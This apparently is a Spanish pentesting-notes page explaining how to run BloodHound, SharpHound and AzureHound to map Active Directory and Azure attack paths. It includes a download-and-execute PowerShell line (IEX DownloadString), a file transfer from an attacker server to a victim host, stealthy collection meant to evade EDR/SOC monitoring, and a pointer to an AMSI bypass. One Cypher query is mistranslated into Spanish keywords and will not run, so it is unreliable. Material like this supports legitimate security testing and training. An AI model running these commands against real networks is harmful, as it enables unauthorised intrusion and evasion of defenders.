Grimorio de XTORMIN
Xtormin GithubLinkedIn
  • Home
  • 🧠IA / AI
    • Investigación y automatización
    • IA en local
    • Plantillas de prompts
      • Informes de pentesting
  • 🏢Pentesting en Infraestructuras
    • Intrusión física
    • Redes Wi-Fi
      • Herramientas
      • Metodología de Pentest Wifi
      • WEP
      • WPA2-PSK / Red personal
      • WPA2-MGT / Red corporativa
    • Cloud
      • 🔷Azure
        • Herramientas
        • Metodología de Azure Pentest
        • AzureAD
        • Az Powershell
        • Az Cli
        • Portal de Azure
    • Perímetro
      • Acceso remoto
    • Red interna
      • Windows
      • Active directory
        • Enumeración manual
    • Servicios
      • FTP - 21/tcp
      • SSH - 22/tcp
      • DNS - 53/UDP
      • SMB - 135, 445 /tcp
      • SNMP - 161, 162, 10161, 10162/udp
      • IPMI - 623/udp/tcp
      • RDP - 3389/TCP
      • Redis - 6379/tcp
    • Misc
      • Transferencia de ficheros
  • 🌐Pentesting en aplicaciones web
    • General
      • Ataques y vulnerabilidades
        • Autenticación
          • Vulnerabilidades JWT
        • Javascript
          • XSS
          • Contaminación de prototipos - Prototype pollution
        • GraphQL
      • Explotación
        • Webshell
    • Tecnología
      • Jenkins
      • Salesforce
  • ⚒️Herramientas comunes
    • Recursos generales
    • Nmap
    • Nuclei
    • BloodHound
  • 👾MISC
    • [ Kali ] Setup
      • VPN
Con tecnología de GitBook
En esta página
  • Descarga o subida de SharpHound
  • Descarga directa en el equipo víctima
  • Transferencia desde otro servidor
  • Métodos de recolección con SharpHound
  • Recolección desde Windows
  • EXE
  • PowerShell
  • Recolección remota desde Kali
  • Métodos de recolección con AzureHound
  • Recolección desde Azure
  • Ingesta y visualización de datos - BloodHound
  • Windows
  • Linux
  • Consultas
  • Consejos
  • Referencias

¿Te fue útil?

  1. Herramientas comunes

BloodHound

BloodHound es una herramienta que utiliza la teoría de grafos para mapear relaciones entre usuarios, grupos, equipos y permisos en AD.

AnteriorNucleiSiguiente[ Kali ] Setup

Última actualización hace 1 mes

¿Te fue útil?

Su enfoque basado en grafos permite visualizar relaciones y permisos dentro de un entorno Active Directory (AD) de forma clara y precisa, permitiendo identificar rutas de ataque.

Está formada por:

  • SharpHound: recolector que obtiene información desde el entorno.

  • BloodHound GUI: interfaz gráfica para visualizar e investigar rutas de ataque.

  • Neo4j: base de datos de grafos utilizada por BloodHound para almacenar los datos.

Para obtener los mejores resultados, sus versiones de Bloodhound y Sharphound deben ser compatibles.

Descarga o subida de SharpHound

Descarga directa en el equipo víctima

cd C:\Users\<usuario>\appdata\local\temp
git clone "https://github.com/BloodHoundAD/BloodHound.git"

Transferencia desde otro servidor

Si no se puede descargar desde el propio equipo windows por no contar con acceso a internet, se puede descargar SharpHound.ps1 usando un servidor temporal desde un equipo que se encuentre en la misma red que el equipo víctima Windows.

  • En el equipo controlado por el atacante:

git clone "https://github.com/BloodHoundAD/BloodHound.git"
cd Collectors
python3 -m http.server 8000
  • Desde el equipo windows víctima:

iwr "https://192.168.1.110/SharpHound.ps1"

Métodos de recolección con SharpHound

Recolección desde Windows

Puedes usar SharpHound.exe o SharpHound.ps1 para recolectar desde una máquina con acceso al dominio.

EXE

  • Vía exe:

SharpHound.exe -c All --domain xtormincorp.local

PowerShell

  • Vía PowerShell:

git clone "https://github.com/SpecterOps/BloodHound-Legacy.git"
cd BloodHound-Legacy\Collectors
. .\SharpHound.ps1
IEX(New-Object Net.Webclient).DownloadString('https://raw.githubusercontent.com/SpecterOps/BloodHound-Legacy/refs/heads/master/Collectors/SharpHound.ps1')
Invoke-BloodHound -CollectionMethod All -v 2
Invoke-BloodHound -CollectionMethod All -domain xtormincorp.local -ldapuser <usuario> -ldappass <contraseña> -v 2
SharpHound.exe -c SessionLoop -s

Si el dominio es muy grande o se está en un entorno muy controlado por EDR o SOC. Es mejor realizar la recolección por partes:

  • Si se quiere filtrar por OU:

Invoke-Bloodhound -LDAPFilter "(CN=*,OU=New York,DC=Contoso,DC=Local)" -CollectionMethod ACL -ZipFilename OU_ACL_20250420 -Stealh

  • ACLs:

Invoke-Bloodhound -Domain xtormincorp.local -CollectionMethod ACL -ZipFilename ACL_20250420 -Stealh
  • Grupos:

Invoke-Bloodhound -Domain xtormincorp.local -CollectionMethod Group -ZipFilename Group_20250420 -Stealh
  • LocalAdmin:

Invoke-Bloodhound -Domain xtormincorp.local -CollectionMethod LocalAdmin -ZipFilename LocalAdmin_20250420 -Stealh

EXE

  • Vía exe:

SharpHound.exe -c All --domain za.tryhackme.com --ExcludeDCs

PowerShell

  • Vía PowerShell:

git clone https://github.com/SpecterOps/BloodHound-Legacy.git
cd BloodHound-Legacy\Collectors
. .\SharpHound.ps1
Invoke-BloodHound -CollectionMethod All -v 2
Invoke-BloodHound -CollectionMethod All -domain xtormincorp.local -ldapuser <usuario> -ldappass <contraseña> -v 2

Si el dominio es muy grande o se está en un entorno muy controlado por EDR o SOC. Es mejor realizar la recolección por partes:

  • ACLs:

Invoke-Bloodhound -Domain xtormincorp.local -CollectionMethod ACL -ZipFilename ACL_20250420 -Stealh
  • Grupos:

Invoke-Bloodhound -Domain xtormincorp.local -CollectionMethod ACL -ZipFilename ACL_20250420 -Stealh

Recolección remota desde Kali

Desde una máquina Kali se pueden hacer uso de las credenciales de los usuarios víctima para enumerar la información del AD:

bloodhound-python -u $USER -d xtormincorp.local -c all -v -ns <dns server  or dc>

Este método es ideal cuando tienes credenciales, pero no acceso a una máquina Windows.

Métodos de recolección con AzureHound

$passwd = ConvertTo-SecureString "<contraseña>" -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential("<email>", $passwd)
Connect-AzAccount -Credential $creds
Connect-AzureAD -Credential $creds

Recolección desde Azure

. C:\Pentest\Tools\AzureHound\AzureHound.ps1
Invoke-AzureHound -Verbose

Ingesta y visualización de datos - BloodHound

En entornos corporativos de gran tamaño, la arquitectura de Active Directory suele mantenerse bastante estable. Aunque pueda haber ciertos cambios como nuevas incorporaciones o ajustes menores, la estructura principal de unidades organizativas (OUs), usuarios, grupos y permisos rara vez sufre modificaciones drásticas.

Lo que sí cambia constantemente es otra cosa: las sesiones activas de los usuarios y los eventos de autenticación. Como Sharphound realiza una recopilación puntual del estado del dominio, la información relacionada con sesiones puede volverse obsoleta con rapidez, especialmente si los usuarios cierran sesión o si otras cuentas inician nuevas sesiones tras la recolección de datos.

Estrategia de ejecución recomendada

Para mantener una visión precisa y actual del entorno, es recomendable:

  • Realizar una primera ejecución de Sharphound utilizando --CollectionMethods All, lo cual capturará toda la información relevante del dominio (estructura, permisos, relaciones, etc.).

  • Posteriormente, realizar ejecuciones periódicas únicamente del método Session, que se enfoca exclusivamente en detectar nuevas sesiones de usuario sin volver a recopilar toda la estructura AD.

Cuándo es mejor hacerlo

El momento ideal para capturar sesiones activas suele ser:

  • A media mañana (sobre las 10:00), cuando los usuarios ya han iniciado su jornada laboral.

  • Después del almuerzo (alrededor de las 15:00-16:00), justo antes de que comiencen a conectarse de nuevo tras volver de haber comido.

Limpieza de datos antiguos

Sharphound no elimina sesiones anteriores automáticamente, por lo que es buena idea purgar la información obsoleta antes de cargar nuevos datos. Desde BloodHound, accede a la pestaña "Database Info" y utiliza la opción "Clear Session Information" para mantener la base de datos limpia y centrada en sesiones realmente activas.

Windows

Linux

  1. Instala BloodHound:

sudo apt install bloodhound
sudo neo4j console
  1. Abre la GUI de BloodHound (bloodhound).

bloodhound
  1. Hacer click en "Upload data" y importar el .zip generado por SharpHound.

Consultas

  • Buscar todos los usuarios que tengan el rol de "Global Administrator":

MATCH p =(n)-[r:AZGlobalAdmin*1..]->(m) RETURN p
  • Todas las rutas a las máquinas virtuales:

MATCH p = (n)-[r]->(g: AZVM) RETURN p
  • Todas las rutas hacia "Azure KeyVaults":

MATCH p = (n)-[r]->(g:AZKeyVault) RETURN p
  • Todas las rutas hacia "Azure Resource Group":

MATCH p = (n)-[r]->(g:AZResourceGroup) RETURN p
  • Buscar los Owners de "Azure Groups":

MATCH p = (n)-[r:AZOwns]->(g:AZGroup) RETURN p
  • Obtener todos los equipos con delegación sin restricciones que no forman parte del grupo de controladores de dominio:

COINCIDIR (dc:Computer)-[:MemberOf*1..]->(g:Group) DONDE g.objectsid TERMINA CON "516" CON COLLECT(dc) como domainControllers COINCIDIR p = (d:Domain)-[:Contains*1..]->(c:Computer {unconstraineddelegation:true}) DONDE NO c en domainControllers DEVUELVE c

Consejos

  • Cuando comprometas un usuario o máquina, márcalo como Owned (Mark User as Owned).

    • Muchas consultar integradas utilizan esta propiedad del nodo para identificar caminos más cortos desde los principios que se poseen hasta ojetivos de alto valor.

    • Se muestran las acciones que se pueden ejecutar a continuación a partir de dichos nodos.

  • Marcar otros objetivos como de alto valor.

    • Por ejemplo, los equipos con delegación sin restricciones no se marcan como de alto valor. Sin embargo, si comprometes solo uno de ellos dentro de un dominio, eres el administrador del dominio.

    • Adaptación al contexto, un servidor SQL que almacene información altamente sensible de acuerdo a la naturaleza de la organización puede ser de alto valor para la organización.

Referencias

Otros:

Otros:

Antes de ejecutar la herramienta, si hay AV, es necesario evadir la protección de AMSI:

Conexión e importación:

Accede a y configura el password de neo4j.

⚒️
https://github.com/BloodHoundAD/BloodHound
https://bloodhound.readthedocs.io/en/latest/data-collection/sharphound-all-flags.html
https://github.com/SpecterOps/BloodHound/blob/main/docs/collect-data/ce-collection/sharphound.mdx
https://medium.com/@e.escalante.jr/active-directory-workshop-even-more-server-enumeration-using-the-bloodhound-tool-pt-9-d4138f505b9b
https://bloodhound.readthedocs.io/en/latest/data-analysis/edges.html
https://bloodhound.readthedocs.io/en/latest/installation/windows.html
http://localhost:7474
https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-with-bloodhound-on-kali-linux
https://medium.com/@riccardo.ancarani94/bloodhound-tips-and-tricks-e1853c4b81ad
Misc
Misc
AMSI .NET Bypass
AzureHound
Créditos de imagen:
https://twitter.com/SadProcessor